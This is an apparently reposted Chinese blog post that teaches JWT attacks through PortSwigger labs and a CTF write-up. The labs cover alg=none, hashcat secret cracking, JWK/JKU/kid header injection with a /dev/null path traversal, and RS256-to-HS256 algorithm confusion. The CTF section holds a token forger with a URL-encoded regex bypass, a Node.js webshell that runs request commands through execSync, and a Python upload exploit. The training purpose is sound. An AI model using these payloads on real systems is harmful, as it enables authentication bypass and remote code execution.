前言
看了第一届研究生网络安全大赛 Hackthisbox 这道题,考点是JWT算法混淆攻击
感觉到自己对于JWT方面的知识点不太熟悉
于是便有了下文
目录
1.基本介绍
2.未经验证的签名
3.签名验证缺陷
4.密钥爆破
5.标头参数注入
6.算法混淆攻击
基本介绍
JWT全拼Json Web Token
由 标头(Header)、有效载荷(Payload)和签名(Signature)组成
每个段落用英文句号连接 ,这一串内容会base64加密
JWT 使用
1、服务端根据登陆状态 将用户信息加密到token中,返给客户端
2、客户端收到服务端返回的token,存储在cookie中,并且每次通信都带上token,服务端解密token,验证内容,完成相应逻辑
先下载个bp插件 JWT edictor
操作比较方便些
未经验证的签名
产生原因:和标题同义 简单点说,忘记验证签名了
portswigger jwt系列 lab1
把原来的wiener修改为administrator
即可获得删除用户 carlos 的url 通关
签名验证缺陷
产生原因:JWT 标头的alg参数,告诉服务器使用哪种算法对令牌进行签名,当alg参数设置为none时,
可以任意伪造
portswigger lab2
修改alg为none
sub为administrator
Attack -none Signing Algorithm
密钥爆破
爆破字典https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list
工具:hashcat https://hashcat.net/hashcat/
指令:hashcat -a 0 -m 16500 <jwt> <wordlist></wordlist></jwt>
portswigger lab3
1.登陆当前账户提取jwt
2.hashcat -a 0 -m 16500 <jwt> <wordlist></wordlist></jwt>
爆出密钥 secret1
3.构造jwt
方法1:在bp插件中
k值替换为base64过的密钥 即secret1
方法2:jwt.io
右下角填入密钥
标头参数注入
通过 JWK参数/JKU参数/kid参数 注入自签名的JWT
1.JWK (JSON Web Key)使得攻击者能将认证的密钥直接嵌入token中,配置错误的服务器有时会使用嵌入在jwk参数中的任何密钥
portswigger lab4
生成一个RSA密钥
sub处修改为administrator
选择Embedded JWK(嵌入的JWK)
2.JKU (JWK Set URL)可以引用包含密钥的 JWK Set,验证签名时,服务器从该 URL 获取相关密钥。若允许使用该字段且不设置限定条件,攻击者就能托管自己的密钥文件,并指定应用程序,用它来认证token
portswigger lab5
生成一个rsa密钥 选择Copy Public Key as JWK
转到漏洞利用服务器 修改body 复制内容到keys中并存储
3.Kid
避免服务器验证签名时出现错误所以使用kid,JWT规范中没有对这个kid定义具体的结构,仅仅是开发人员任意选择的一个字符串
portswigger lab6
先生成一个对称密钥 k值覆盖为null(base64)
kid修改为 "kid":" ../../../../../../../dev/null" // dev/null代表空设备文件
修改sub为admin
点击sign选择OCT8 的密钥攻击 即可
算法混淆攻击
如果将算法RS256修改为HS256(非对称密码算法=>对称密码算法),则库的通用verify()方法会将公钥视为 HMAC 机密,公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。
portswigger lab7
1.访问/jwks.json获得公钥
2.将JWK转换为PEM格式
复制jwk set内容
Copy Public Key as PEM
3.生成新的对称密钥
4.修改并签署令牌
第一届研究生网络安全大赛HackThisBox
涉及知识点:JWT算法混淆攻击
给了docker和源码
分析:
api.js
var privateKey = fs.readFileSync('./config/private.pem');
router.post('/login', function(req, res, next) {
const token = jwt.sign({ username: req.body.username, isAdmin: false, home: req.body.username }, privateKey, { algorithm: "RS256" });
加密的时候用的是非对称加密RS256(RSA + SHA-256)
//app.JS
var publicKey = fs.readFileSync('./config/public.pem');
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256", "RS256"]}).unless({ path: ["/", "/api/login"] }))
解密用对称加密HS256(HMAC + SHA-256)
app.use(function(req, res, next) {
if([req.body, req.query, req.auth, req.headers].some(function(item) {
console.log(req.auth)
return item && /../|proc|public|routes|.js|cron|views/img.test(JSON.stringify(item));
})) {
return res.status(403).send('illegal data.');
} else {
next();
};
});
正则
router.post('/upload', function(req, res, next) {
if(req.files.length !== 0) {
var savePath = '';
if(req.auth.isAdmin === false) {
var dirName = `./public/upload/${req.auth.home}/`
fs.mkdir(dirName, (err)=>{
if(err) {
console.log('error')
} else {
console.log('ok')
}
});
savePath = path.join(dirName, req.files[0].originalname);
} else if(req.auth.isAdmin === true) {
savePath = req.auth.home;
}
fs.readFile(req.files[0].path, function(err, data) {
if(err) {
return res.status(500).send("error");
} else {
// 任意文件写入
fs.writeFileSync(savePath, data);
}
});
return res.status(200).send("file upload successfully");
} else {
return res.status(500).send("error");
}
});
思路:伪造token设置isAdmin=true 利用fs.writeFileSync(savePath, data)覆盖index.js写入后门 (使用url编码来绕过正则)
1.伪造token
var express = require('express');
var fs = require("fs")
var jwt = require("jsonwebtoken")
var path = require('path')
var app = express();
var publicKey = fs.readFileSync('./src/config/public.pem');
app.get('/', function(req, res, next) {
const token = jwt.sign({username: "admin", isAdmin: true, home: {
href: "c",
origin: "c",
protocol: "file:",
hostname: "",
pathname: "/app/%72%6f%75%74%65%73/index.%6a%73" // app/routes/index.js
}}, publicKey, {algorithm: "HS256"});
res.send({token})
})
var server = app.listen(7000, function () {
var host = server.address().address;
var port = server.address().port;
console.log("Address is http://%s:%s", host, port);
})
后门
var express = require('express');
const execSync = require('child_process').execSync;
var router = express.Router();
router.get('/', function(req, res, next) {
var cmd = execSync(req.query.cmd);
res.send(cmd.toString());
});
module.exports = router;
最终exp
import requests
sess = requests.session()
url = 'http://localhost:8082'
hearder = {"authorization":"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaG9tZSI6eyJocmVmIjoiYyIsIm9yaWdpbiI6ImMiLCJwcm90b2NvbCI6ImZpbGU6IiwiaG9zdG5hbWUiOiIiLCJwYXRobmFtZSI6Ii9hcHAvJTcyJTZmJTc1JTc0JTY1JTczL2luZGV4LiU2YSU3MyJ9LCJpYXQiOjE2NjkzMDYzNDZ9.RdEQN3Kt0c_Fz_n9uJP3dTYZHWqdp6GoJ3Yd5YpZjl4"}
file = {"file":("./shell.js",open("./shell.js","rb").read())}
res = sess.post(url=url+"/api/upload",files=file,headers=hearder)
print(res.text)
来源:先知社区的【qwertyuiop】师傅
注:如有侵权请联系删除
如需进群进行技术交流,请扫该二维码
原文始发于微信公众号(衡阳信安):初涉JWT
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论